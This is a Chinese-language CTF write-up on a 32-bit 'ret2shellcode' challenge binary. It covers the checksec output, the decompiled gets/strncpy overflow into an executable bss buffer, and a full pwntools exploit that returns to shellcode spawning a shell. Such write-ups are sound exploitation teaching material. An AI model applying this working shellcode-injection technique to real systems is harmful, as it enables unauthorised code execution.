文件下载地址:
链接:https://pan.baidu.com/s/1McW3vCgUvTMRpLJcacN9rg
提取码:didr
0x01.checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
32位程序,没有开启任何保护,首先想到的办法就是控制执行shellcode。
0x02.IDA分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
发现敏感函数,gets,strncpy,并且将字符串复制给了buf2,这时候,如果buf2有执行权限,我们就可以控制返回到buf2上执行shellcode了。查看buf2:
在bss段(BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。)我们查看一下,是否具有可执行权限:
buf2的地址刚好位于这之中,具有可执行权限,我们只需要控制程序返回到buf2段去执行我们的shellcode就行了。
buf2地址:0x0804A080
确定偏移地址:
0x03.exp
#!/usr/bin/env python
from pwn import *
r=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf_adr=0x804a080
payload=shellcode.ljust(112,'A')+p32(buf_adr)
r.sendline(payload)
r.interactive()
解释:
- shellcode=asm(shellcraft.sh())的作用是生成一段获取shell的shllcode。
- shellcode.ljust(112,'A')的含义是将shellcode不足112的部分用A补齐。